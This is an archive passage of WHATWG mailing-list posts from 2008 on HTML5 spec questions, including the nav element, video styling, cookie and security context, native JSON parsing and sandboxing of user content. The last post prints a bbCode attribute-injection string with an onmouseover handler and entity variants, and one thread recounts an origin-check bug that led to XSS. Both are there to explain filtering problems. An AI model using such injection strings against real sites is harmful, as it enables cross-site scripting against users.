Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From jg307 at cam.ac.uk  Fri Jun 13 03:48:19 2008
From: jg307 at cam.ac.uk (James Graham)
Date: Fri, 13 Jun 2008 11:48:19 +0100
Subject: [whatwg] Fwd: nav Element
In-Reply-To: <a980f6160806130158l167d4f00t490a955c0e1f4d13@mail.gmail.com>
References: <a980f6160806120121r537a8c5cv7432cf82d8cdfde5@mail.gmail.com>
	<a980f6160806130158l167d4f00t490a955c0e1f4d13@mail.gmail.com>
Message-ID: <48525073.2010202@cam.ac.uk>

Jorge Bay Gondra wrote:
> To the correct list this time...
> 
> ---------- Forwarded message ----------
> From: Jorge Bay Gondra <jorgebg at tagpoint.es>
> Date: 2008/6/12
> Subject: nav Element
> To: whatwg at whatwg.org
> 
> 
> Hi to all,
> About the nav element:
> I was trying to imaging how it would be to build a site, and I realized
> that, in the case of site with 2 nav bars (typically 2 sidebars) there's not
> a way to specify which is the "main" sidebar and which is accessory...
> What do you think about specifying hierarchy for navs elements?

Arguably the outline algorithm already does this, since it places <nav> elements 
in a hierarchy along with other sections. For any case not covered by the 
outline algorithm I think that there would need to be some very strong use cases 
to add explicit markup here; what kind of UA features did you have in mind, and 
how well would they work if the markup was missing or incorrect on most pages?

-- 
"Eternity's a terrible thought. I mean, where's it all going to end?"
  -- Tom Stoppard, Rosencrantz and Guildenstern are Dead


From philipj at opera.com  Fri Jun 13 04:42:28 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Fri, 13 Jun 2008 13:42:28 +0200
Subject: [whatwg] video background color (Was: Interpretation of
	video	poster attribute)
In-Reply-To: <Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
Message-ID: <1213357348.6562.114.camel@localhost>

The issue with the poster attribute is resolved, but one comment made me
remember something I've wondered about:

On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:

> It's not impossible; first black would render 300x150, then the poster 

The spec says: Areas of the element's playback area that do not contain
the video represent nothing.

What does this mean? Black is customary for video, but leaving the
region transparent (thus falling back to css background color) is
another option. Which is better?

-- 
Philip J?genstedt
Opera Software



From annevk at opera.com  Fri Jun 13 04:49:08 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Fri, 13 Jun 2008 13:49:08 +0200
Subject: [whatwg] video background color
In-Reply-To: <1213357348.6562.114.camel@localhost>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
	<1213357348.6562.114.camel@localhost>
Message-ID: <op.ucoq360t64w2qv@annevk-t60.oslo.opera.com>

On Fri, 13 Jun 2008 13:42:28 +0200, Philip J?genstedt <philipj at opera.com>  
wrote:
> On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:
>
>> It's not impossible; first black would render 300x150, then the poster
>
> The spec says: Areas of the element's playback area that do not contain
> the video represent nothing.
>
> What does this mean? Black is customary for video, but leaving the
> region transparent (thus falling back to css background color) is
> another option. Which is better?

Maybe a default style sheet entry like

   video { background-color:#000 }


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From ian at hixie.ch  Fri Jun 13 14:02:21 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 21:02:21 +0000 (UTC)
Subject: [whatwg] video background color (Was: Interpretation of	video
 poster attribute)
In-Reply-To: <1213357348.6562.114.camel@localhost>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
	<1213357348.6562.114.camel@localhost>
Message-ID: <Pine.LNX.4.62.0806132101290.6527@hixie.dreamhostps.com>

On Fri, 13 Jun 2008, Philip J?genstedt wrote:
>
> The issue with the poster attribute is resolved, but one comment made me 
> remember something I've wondered about:
> 
> On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:
> 
> > It's not impossible; first black would render 300x150, then the poster
> 
> The spec says: Areas of the element's playback area that do not contain 
> the video represent nothing.
> 
> What does this mean? Black is customary for video, but leaving the 
> region transparent (thus falling back to css background color) is 
> another option. Which is better?

It's transparent, but I intended to have the following rule in the style 
sheet:

   video { background: black; }

...so that it looks black unless the author restyles it. Does that make 
sense?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From honzab at allpeers.com  Fri Jun 13 14:21:00 2008
From: honzab at allpeers.com (Honza Bambas)
Date: Fri, 13 Jun 2008 23:21:00 +0200
Subject: [whatwg] Opportunistic caching
In-Reply-To: <Pine.LNX.4.62.0806102141080.6527@hixie.dreamhostps.com>
References: <484E600D.6010308@allpeers.com>
	<Pine.LNX.4.62.0806102141080.6527@hixie.dreamhostps.com>
Message-ID: <4852E4BC.8020605@allpeers.com>

Ian Hickson wrote:
> On Tue, 10 Jun 2008, Honza Bambas wrote:
>   
>> Hi, I would like to ask for clarification of opportunistic caching spec 
>> in Offline Web Applications, the article 4.9.1.9. Adding a resource whom 
>> URI matches an opportunistic name space seems to be done only for top 
>> level documents according to the article 4.9.1.9, cite: "If the resource 
>> was not fetched from..." where the resource refers, as I understand, the 
>> top-level document being navigated.
>>
>> I didn't find any other place where a resource whom URI matched an 
>> opportunistic entry would be added to a cache as opportunistically 
>> cached. I would naturally expect it were part of the networking model, 
>> article 4.7.5.1 - "Changes to the networking model", but I couldn't find 
>> it, at least not explicitly, expressed.
>>
>> Maybe I am missing something in the networking model spec: in article 
>> 4.7.5.1.4 when URI matches a name space it have to be "fetched 
>> normally". Should implementers replace normal HTTP cache used for 
>> writing by offline cache to store the resource in it? Instead of normal 
>> HTTP cache?
>>     
>
> Resources can only be cached as opportunistically cached entries if a 
> browsing context is navigated, but it doesn't have to be a top-level 
> browsing context. The caching happens in the "Otherwise" clause of step 9 
> of the 4.9.1 Navigating across documents "navigation" algorithm.
>
> If by "top-level" you don't mean a window/tab, but mean any iframe or 
> frame content document, as opposed to an image, a stylesheet, or some 
> such, then you are correct. The use case was really just replacing pages, 
> e.g. Flickr pages, when the whole site isn't cached. Do you think this 
> should be changed to opportunistically cache anything accessed?
>
>   
Thanks a lot for clarification.

I was talking with my colleague about it and we both agree it would be 
useful (and more easy to implement) for ANY resource being fetched 
inside of browsing context associated with an application cache to 
opportunistically cache it and not just do it for results of navigation, 
i.e. top-level document, iframe source and frame source. A set o 
pictures/icons/css styles could be easily cached this way w/o explicitly 
listing them in the manifest.

At this point it would be good to say what really is 
intention/motivation of opportunistic caching itself. Maybe I am missing 
the purpose and potentially open a security hole or a kind of attack 
this way.

Honza Bambas
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080613/5bba3198/attachment-0001.htm>

From dbaron at dbaron.org  Fri Jun 13 15:30:41 2008
From: dbaron at dbaron.org (L. David Baron)
Date: Fri, 13 Jun 2008 15:30:41 -0700
Subject: [whatwg] Use of 'direction' of canvas element
Message-ID: <20080613223041.GA24221@pickering.dbaron.org>

http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas.html#text
has the following bullet point:
  # Form a hypothetical infinitely wide CSS line box containing a
  # single inline box containing the text text, with all the
  # properties at their initial values except the 'font' property of
  # the inline element set to font and the 'direction' property of
  # the inline element set to the 'direction' property of the canvas
  # element. [CSS]

This should describe what to do if the canvas element is not in a
document (and therefore has no 'direction').

It should probably fall back to 'ltr' as a last resort.

However, as an intermediate step, it might be worth falling back to
the direction property of the root element (if present) of the
canvas element's ownerDocument.

-David

-- 
L. David Baron                                 http://dbaron.org/
Mozilla Corporation                       http://www.mozilla.com/


From whatwg at adambarth.com  Fri Jun 13 23:31:11 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 13 Jun 2008 23:31:11 -0700
Subject: [whatwg] A document's cookie context
Message-ID: <7789133a0806132331m27d2257bj6d8e5e8c5edbb691@mail.gmail.com>

The current draft of the spec doesn't specify how to compute the
cookie context for a document.  Here is how to compute it:

A document's cookie context can be represented as a URI and largely
(but not exactly) follows the document's origin.

1) If the document does not have a browsing context (e.g., it was
retrieved via XMLHttpRequest or created using createDocument) then
it's cookie context is "" or about:blank (or whatever you prefer for
"I don't have a cookie context").

2) If the document was served over the network and has an address that
uses a URI scheme with a server-based naming authority, then the
document's cookie context is that URI.

3) If the document has the URI about:blank or "", then, like the
origin, the document's cooke context is the cookie context of the
parent browsing context (if it has a parent) or the cookie context of
the opener browsing context (if it has an opener but no parent).
Failing that, the document's cookie context is about:blank or "" (or
whatever you prefer for "I don't have a cookie context").

This is available in code form at <http://trac.webkit.org/changeset/34505>.

Adam


From whatwg at adambarth.com  Fri Jun 13 23:48:46 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 13 Jun 2008 23:48:46 -0700
Subject: [whatwg] document.open() and security context
Message-ID: <7789133a0806132348w1dd5cc27kbbb15bc8f9515830@mail.gmail.com>

The current description of document.open(), at
<http://www.whatwg.org/specs/web-apps/current-work/#open> doesn't
mention the method's effect on the document's security context.

The document.open() method replaces the document's security context
with the security context of the currently executing script.  In
particular, the following properties are replaced:

1) document.URL becomes the URL of the document of the currently
executing script.

2) document.baseURI becomes the URL of the document of the currently
executing script (not it's baseURI).

3) The document's origin and effective script origin become the origin
and the effective script origin of the currently executing script.
(Note: actually, the origins are aliased, as in the about:blank case,
so that changes to one of the document's document.domain property
affects the other.)

4) The document's cookie context becomes the cookie context of the
document of the currently executing script.

There may be other things that get clobbered as well, but those were
the ones I found.

This is available in code form, along with numerous tests, at
<http://trac.webkit.org/changeset/34506>.

Adam


From whatwg at adambarth.com  Sat Jun 14 01:08:07 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Sat, 14 Jun 2008 01:08:07 -0700
Subject: [whatwg] Native JSON parsing API
Message-ID: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>

On Tue, Feb 12, 2008 at 5:57 PM, Ian Hickson <ian at hixie.ch> wrote:
> Passing objects, or arrays of strings, arrays, or objects, is more
> complex, but as you point out, it can be done using JSON libraries. Since
> it is likely that JSON will be supported natively by UAs in due course, it
> seems better to wait for that support rather than adding type support to
> postMessage().

HTML 5 should expose a native JSON parser for web content.

Web content often wishes to translate strings into structured data.
For example, to send structured data via postMessage, content often
serializes the structured data into a string and expects the recipient
to deserialize the string.

For example, Facebook Chat is currently implemented using postMessage.
 Two frames from facebook.com communicate with each other by passing
JSON-serialized objects.  Upon receiving a message, a frame validates
the origin property of the message event and then calls eval() on the
received data to deserialize the message.  Some time ago, their
validation code had a bug and accepted any origin that ended in
"facebook.com" including "http://evilfacebook.com", leading to XSS.
Had the browser provided a native JSON parser as fast (or faster) than
eval(), this bug might not have been as critical.

JavaScript libraries, such as those available from <http://json.org/>,
exist for parsing JSON, but these libraries have limitations.
Libraries implemented without calling eval() are slow because
JavaScript string manipulation is not as fast as a native parser.
Libraries that eventually call eval() tend to validate their input via
regular expressions, but these implementations have had a history of
validation vulnerabilities.  A native JSON parser in browsers would
enjoy the security of a dedicated parser and the performance of a
native parser.

There appears to be some amount of vendor interest in implementing a
native JSON parser.  For example, Firefox 3 implements a native JSON
parser <http://developer.mozilla.org/en/docs/nsIJSON>, but only for
privileged JavaScript.  The JSON format itself is already specified.
What remains to be specified is a standard location for the serialize
and deserialize methods.

Adam

(Apologies if this has already been raised on this list.  I looked
through the issue tracker but couldn't find it there.)


From mjs at apple.com  Sat Jun 14 01:43:00 2008
From: mjs at apple.com (Maciej Stachowiak)
Date: Sat, 14 Jun 2008 01:43:00 -0700
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
Message-ID: <6FC58018-0952-4D34-A115-48A13E327398@apple.com>


On Jun 14, 2008, at 1:08 AM, Adam Barth wrote:

> On Tue, Feb 12, 2008 at 5:57 PM, Ian Hickson <ian at hixie.ch> wrote:
>> Passing objects, or arrays of strings, arrays, or objects, is more
>> complex, but as you point out, it can be done using JSON libraries.  
>> Since
>> it is likely that JSON will be supported natively by UAs in due  
>> course, it
>> seems better to wait for that support rather than adding type  
>> support to
>> postMessage().
>
> HTML 5 should expose a native JSON parser for web content.

Native JSON parsing is being considered for the next versions of  
ECMAScript (the 3.1 and 4 versions). It seems like a better fit there  
than in HTML5. If it ends up not being added to ECMAScript, I would  
propose it as a standalone spec for the W3C Web Apps WG.

  - Maciej



From whatwg at adambarth.com  Sat Jun 14 02:41:44 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Sat, 14 Jun 2008 02:41:44 -0700
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <6FC58018-0952-4D34-A115-48A13E327398@apple.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
	<6FC58018-0952-4D34-A115-48A13E327398@apple.com>
Message-ID: <7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>

On Sat, Jun 14, 2008 at 1:43 AM, Maciej Stachowiak <mjs at apple.com> wrote:
> On Jun 14, 2008, at 1:08 AM, Adam Barth wrote:
>> HTML 5 should expose a native JSON parser for web content.
>
> Native JSON parsing is being considered for the next versions of ECMAScript
> (the 3.1 and 4 versions). It seems like a better fit there than in HTML5. If
> it ends up not being added to ECMAScript, I would propose it as a standalone
> spec for the W3C Web Apps WG.

Is JSON serialization/deserialization still being considered there?
The most recent message I could find on es4-discuss is
<https://mail.mozilla.org/pipermail/es4-discuss/2008-March/002397.html>,
which states that JSON serialization was removed (but might reappear).

I'm certainly not an expert at this process, but is a whole spec
needed?  It seems like <http://www.ietf.org/rfc/rfc4627.txt> contains
most of the details.  Maybe there tricky issues with non-tree object
structures?

Adam


From jonas at sicking.cc  Sat Jun 14 04:57:33 2008
From: jonas at sicking.cc (Jonas Sicking)
Date: Sat, 14 Jun 2008 04:57:33 -0700
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>	<6FC58018-0952-4D34-A115-48A13E327398@apple.com>
	<7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>
Message-ID: <4853B22D.7050401@sicking.cc>

Adam Barth wrote:
> On Sat, Jun 14, 2008 at 1:43 AM, Maciej Stachowiak <mjs at apple.com> wrote:
>> On Jun 14, 2008, at 1:08 AM, Adam Barth wrote:
>>> HTML 5 should expose a native JSON parser for web content.
>> Native JSON parsing is being considered for the next versions of ECMAScript
>> (the 3.1 and 4 versions). It seems like a better fit there than in HTML5. If
>> it ends up not being added to ECMAScript, I would propose it as a standalone
>> spec for the W3C Web Apps WG.
> 
> Is JSON serialization/deserialization still being considered there?
> The most recent message I could find on es4-discuss is
> <https://mail.mozilla.org/pipermail/es4-discuss/2008-March/002397.html>,
> which states that JSON serialization was removed (but might reappear).
> 
> I'm certainly not an expert at this process, but is a whole spec
> needed?  It seems like <http://www.ietf.org/rfc/rfc4627.txt> contains
> most of the details.  Maybe there tricky issues with non-tree object
> structures?

We're likely going to add a JSON parser in the next firefox release 
(after 3).

The last I heard too was that JSON was out from ECMAScript, but I admit 
I'm not very actively following the development there.

/ Jonas


From douglas at crockford.com  Sat Jun 14 05:22:18 2008
From: douglas at crockford.com (Douglas Crockford)
Date: Sat, 14 Jun 2008 05:22:18 -0700
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>	
	<6FC58018-0952-4D34-A115-48A13E327398@apple.com>
	<7789133a0806140241s262fc535u364b3f803929ab01@mail.gmail.com>
Message-ID: <4853B7FA.8090106@crockford.com>

Adam Barth wrote:
> On Sat, Jun 14, 2008 at 1:43 AM, Maciej Stachowiak <mjs at apple.com> wrote:
>> On Jun 14, 2008, at 1:08 AM, Adam Barth wrote:
>>> HTML 5 should expose a native JSON parser for web content.
>> Native JSON parsing is being considered for the next versions of ECMAScript
>> (the 3.1 and 4 versions). It seems like a better fit there than in HTML5. If
>> it ends up not being added to ECMAScript, I would propose it as a standalone
>> spec for the W3C Web Apps WG.
> 
> Is JSON serialization/deserialization still being considered there?
> The most recent message I could find on es4-discuss is
> <https://mail.mozilla.org/pipermail/es4-discuss/2008-March/002397.html>,
> which states that JSON serialization was removed (but might reappear).
> 
> I'm certainly not an expert at this process, but is a whole spec
> needed?  It seems like <http://www.ietf.org/rfc/rfc4627.txt> contains
> most of the details.  Maybe there tricky issues with non-tree object
> structures?
> 
> Adam

RFC 4627 defines the data structure, but does not mention APIs or language bindings.

ES3.1 will include include json2.js's JSON.stringify and JSON.parse functions. 
It is my hope that ECMA will approve ES3.1 this year.

A motivated browser maker need not wait for ECMA's formal approval.


From foolistbar at googlemail.com  Sat Jun 14 16:05:19 2008
From: foolistbar at googlemail.com (Geoffrey Sneddon)
Date: Sun, 15 Jun 2008 00:05:19 +0100
Subject: [whatwg] Creating An Outline oddity
Message-ID: <DE7E6E4A-5C54-4C5E-898B-7B75E7B33FEF@googlemail.com>

Having implemented the creating an outline algorithm (see <http://pastebin.ca/1048202 
 >), I'm getting some odd results (the only TODO won't affect HTML  
4.01 documents such as the following issues).

Using `<h1>Foo<h2>Bar<h2>Lol`, and looking at the final "current  
section" (this is the root sectioning element, body), it seems I  
correctly get the heading of it ("Foo"), but I only get one  
subsection: "Bar". As far as I can see, my implementation follows what  
the spec says, so it looks as if this is an issue with the spec.

With HTML 5, the current_outlinee at the end is a td element, when it  
should be the body element. That really is rather odd.


--
Geoffrey Sneddon
<http://gsnedders.com/>


From ian at hixie.ch  Sat Jun 14 20:06:54 2008
From: ian at hixie.ch (Ian Hickson)
Date: Sun, 15 Jun 2008 03:06:54 +0000 (UTC)
Subject: [whatwg] Creating An Outline oddity
In-Reply-To: <DE7E6E4A-5C54-4C5E-898B-7B75E7B33FEF@googlemail.com>
References: <DE7E6E4A-5C54-4C5E-898B-7B75E7B33FEF@googlemail.com>
Message-ID: <Pine.LNX.4.62.0806150251410.6527@hixie.dreamhostps.com>

On Sun, 15 Jun 2008, Geoffrey Sneddon wrote:
>
> Having implemented the creating an outline algorithm (see 
> <http://pastebin.ca/1048202>), I'm getting some odd results (the only 
> TODO won't affect HTML 4.01 documents such as the following issues).
> 
> Using `<h1>Foo<h2>Bar<h2>Lol`, and looking at the final "current 
> section" (this is the root sectioning element, body), it seems I 
> correctly get the heading of it ("Foo"), but I only get one subsection: 
> "Bar". As far as I can see, my implementation follows what the spec 
> says, so it looks as if this is an issue with the spec.
> 
> With HTML 5, the current_outlinee at the end is a td element, when it 
> should be the body element. That really is rather odd.

I don't understand the markup you mean. Could you draw the DOM or provide 
unambiguous markup for what you're describing? (I don't understand how 
"Foo" is a heading but "Bar" is a section in your markup.)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From hsivonen at iki.fi  Sun Jun 15 23:12:12 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Mon, 16 Jun 2008 09:12:12 +0300
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
Message-ID: <3B3AB4E6-30B9-4B94-A9E6-8AD6F4AA8C85@iki.fi>

On Jun 14, 2008, at 11:08, Adam Barth wrote:

> For example, Firefox 3 implements a native JSON
> parser <http://developer.mozilla.org/en/docs/nsIJSON>, but only for
> privileged JavaScript.  The JSON format itself is already specified.


The de jure spec for JSON, RFC 4627, doesn't specify error handling on  
the level one would expect from a WHATWG spec. Instead, the RFC says:  
"A JSON parser MAY accept non-JSON forms or extensions."
http://www.ietf.org/rfc/rfc4627.txt

The JSON parsers I've used in non-browser contexts have been Draconian  
and incompatible with existing content such as output from  
del.icio.us, which can contain escaped single quotes, which isn't  
allowed in proper JSON.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From julian.reschke at gmx.de  Sun Jun 15 23:36:42 2008
From: julian.reschke at gmx.de (Julian Reschke)
Date: Mon, 16 Jun 2008 08:36:42 +0200
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <3B3AB4E6-30B9-4B94-A9E6-8AD6F4AA8C85@iki.fi>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
	<3B3AB4E6-30B9-4B94-A9E6-8AD6F4AA8C85@iki.fi>
Message-ID: <485609FA.2010401@gmx.de>

Henri Sivonen wrote:
> On Jun 14, 2008, at 11:08, Adam Barth wrote:
> 
>> For example, Firefox 3 implements a native JSON
>> parser <http://developer.mozilla.org/en/docs/nsIJSON>, but only for
>> privileged JavaScript.  The JSON format itself is already specified.
> 
> 
> The de jure spec for JSON, RFC 4627, doesn't specify error handling on 
> the level one would expect from a WHATWG spec. Instead, the RFC says: "A 
> JSON parser MAY accept non-JSON forms or extensions."
> http://www.ietf.org/rfc/rfc4627.txt
> 
> The JSON parsers I've used in non-browser contexts have been Draconian 
> and incompatible with existing content such as output from del.icio.us, 
> which can contain escaped single quotes, which isn't allowed in proper 
> JSON.

Did you send a bug report to del.icio.us?

BR, Julian



From hsivonen at iki.fi  Mon Jun 16 02:17:50 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Mon, 16 Jun 2008 12:17:50 +0300
Subject: [whatwg] Native JSON parsing API
In-Reply-To: <485609FA.2010401@gmx.de>
References: <7789133a0806140108v7a83b9c0p42c255619a7fba44@mail.gmail.com>
	<3B3AB4E6-30B9-4B94-A9E6-8AD6F4AA8C85@iki.fi>
	<485609FA.2010401@gmx.de>
Message-ID: <87F7D372-26D8-4EA5-B035-44C7C2C9B9A2@iki.fi>

On Jun 16, 2008, at 09:36, Julian Reschke wrote:

>> The JSON parsers I've used in non-browser contexts have been  
>> Draconian and incompatible with existing content such as output  
>> from del.icio.us, which can contain escaped single quotes, which  
>> isn't allowed in proper JSON.
>
> Did you send a bug report to del.icio.us?


Yes, I did (in January 2007, IIRC).

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From adele at apple.com  Mon Jun 16 12:17:18 2008
From: adele at apple.com (Adele Peterson)
Date: Mon, 16 Jun 2008 12:17:18 -0700
Subject: [whatwg] comment on autofocus attribute from Web Forms 2.0 spec
Message-ID: <E32C6794-C605-4F41-BB64-1E3EDB3A039C@apple.com>

In HTML5, focus() and blur() are now defined on HTMLElement instead of  
being restricted to specific form elements.

In Web Forms 2.0, the autofocus attribute is defined for "any form  
control (except hidden and output controls)".  It seems like it would  
make more sense to allow autofocus to be on any HTMLElement, and have  
it follow the same focusable rules that focus() follows.

Thanks,
	Adele


From annevk at opera.com  Mon Jun 16 12:26:37 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Mon, 16 Jun 2008 21:26:37 +0200
Subject: [whatwg] comment on autofocus attribute from Web Forms 2.0 spec
In-Reply-To: <E32C6794-C605-4F41-BB64-1E3EDB3A039C@apple.com>
References: <E32C6794-C605-4F41-BB64-1E3EDB3A039C@apple.com>
Message-ID: <op.ucuwaneb64w2qv@annevk-t60.oslo.opera.com>

On Mon, 16 Jun 2008 21:17:18 +0200, Adele Peterson <adele at apple.com> wrote:
> In HTML5, focus() and blur() are now defined on HTMLElement instead of  
> being restricted to specific form elements.
>
> In Web Forms 2.0, the autofocus attribute is defined for "any form  
> control (except hidden and output controls)".  It seems like it would  
> make more sense to allow autofocus to be on any HTMLElement, and have it  
> follow the same focusable rules that focus() follows.

I thought about this a bit as well, but I'm not really sure what the use  
case would be. You typically see the effect happening for <input  
type=text>. Would this be used by contenteditable-enabled controls? Custom  
controls?

If we go down this route, I think we should add the disabled attribute as  
a global attribute as well. Internet Explorer already has it and it makes  
sense together with contenteditable and tabindex.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From adele at apple.com  Mon Jun 16 13:09:24 2008
From: adele at apple.com (Adele Peterson)
Date: Mon, 16 Jun 2008 13:09:24 -0700
Subject: [whatwg] comment on autofocus attribute from Web Forms 2.0 spec
In-Reply-To: <op.ucuwaneb64w2qv@annevk-t60.oslo.opera.com>
References: <E32C6794-C605-4F41-BB64-1E3EDB3A039C@apple.com>
	<op.ucuwaneb64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <13C69AFD-0B30-470B-AD88-D04204421433@apple.com>

I saw the need for this in our Web Inspector, which has a lot of  
custom controls (including some that use contenteditable elements).   
Some of these don't have a default focused appearance, but its nice  
that they can follow the focus pseudo-class CSS selector.

I agree that the disabled attribute would fit in well with this.   
Again, it would be nice for these custom controls to be able to use  
the disabled pseudo-class CSS selector.

- Adele

On Jun 16, 2008, at 12:26 PM, Anne van Kesteren wrote:

> On Mon, 16 Jun 2008 21:17:18 +0200, Adele Peterson <adele at apple.com>  
> wrote:
>> In HTML5, focus() and blur() are now defined on HTMLElement instead  
>> of being restricted to specific form elements.
>>
>> In Web Forms 2.0, the autofocus attribute is defined for "any form  
>> control (except hidden and output controls)".  It seems like it  
>> would make more sense to allow autofocus to be on any HTMLElement,  
>> and have it follow the same focusable rules that focus() follows.
>
> I thought about this a bit as well, but I'm not really sure what the  
> use case would be. You typically see the effect happening for <input  
> type=text>. Would this be used by contenteditable-enabled controls?  
> Custom controls?
>
> If we go down this route, I think we should add the disabled  
> attribute as a global attribute as well. Internet Explorer already  
> has it and it makes sense together with contenteditable and tabindex.
>
>
> -- 
> Anne van Kesteren
> <http://annevankesteren.nl/>
> <http://www.opera.com/>



From frode at seria.no  Mon Jun 16 21:06:31 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 06:06:31 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
Message-ID: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>

Hi! I am a new member of this mailing list, and I wish to contribute with a
couple of specific requirements that I believe should be discussed and
perhaps implemented in the final specification. I am unsure if this is the
correct place to post my ideas (or if my ideas are even new), but if it is
not, then I am sure somebody will instruct me. :) One person told me that
the specification was finished and no new features would be added from now
on - but hopefully that is not true.


The challenge:

More and more websites have features where users can contribute with user
generated content - often in the form of audio, video, images
or wiki-articles. An older type of content contribution is normal text such
as posts in a discussion forum, a mailing list such as this and comments on
blog articles.

A major challenge for many web developers is validating "untrusted" content
such as the message body of a blog comment. Unless the developer has a
flawless and future proof algorithm for ensuring that the message body does
not contain any script, web developers have to resort to text only - or
bbCode-style markup languages to allow users to post text content with
richer formatting. If the developer wants to enable rich formatting using
bbCode, it also needs fairly advanced methods of ensuring that no scripts
are executed. Consider this bbCode example:
[img]some_image.jpg'onmouseover=maliciousScript()[/img]. The bbCode parser
must ensure that there is absolutely no method of injecting scripts in user
posts - and that is very difficult when at the same time there exists
parsing errors in browsers. The example could easily be validating by not
allowing apostrophes or quotation marks in urls - but then we have multiple
entities that could be used: &apos; or &#39;. To make matters worse, some
browsers parse &#39 which is an incomplete html entity and all these
variations must be considered by the bbCode parser author.

Another problem which makes future proofing this type of security is that
standards evolve. A few years ago you could safely allow users to apply
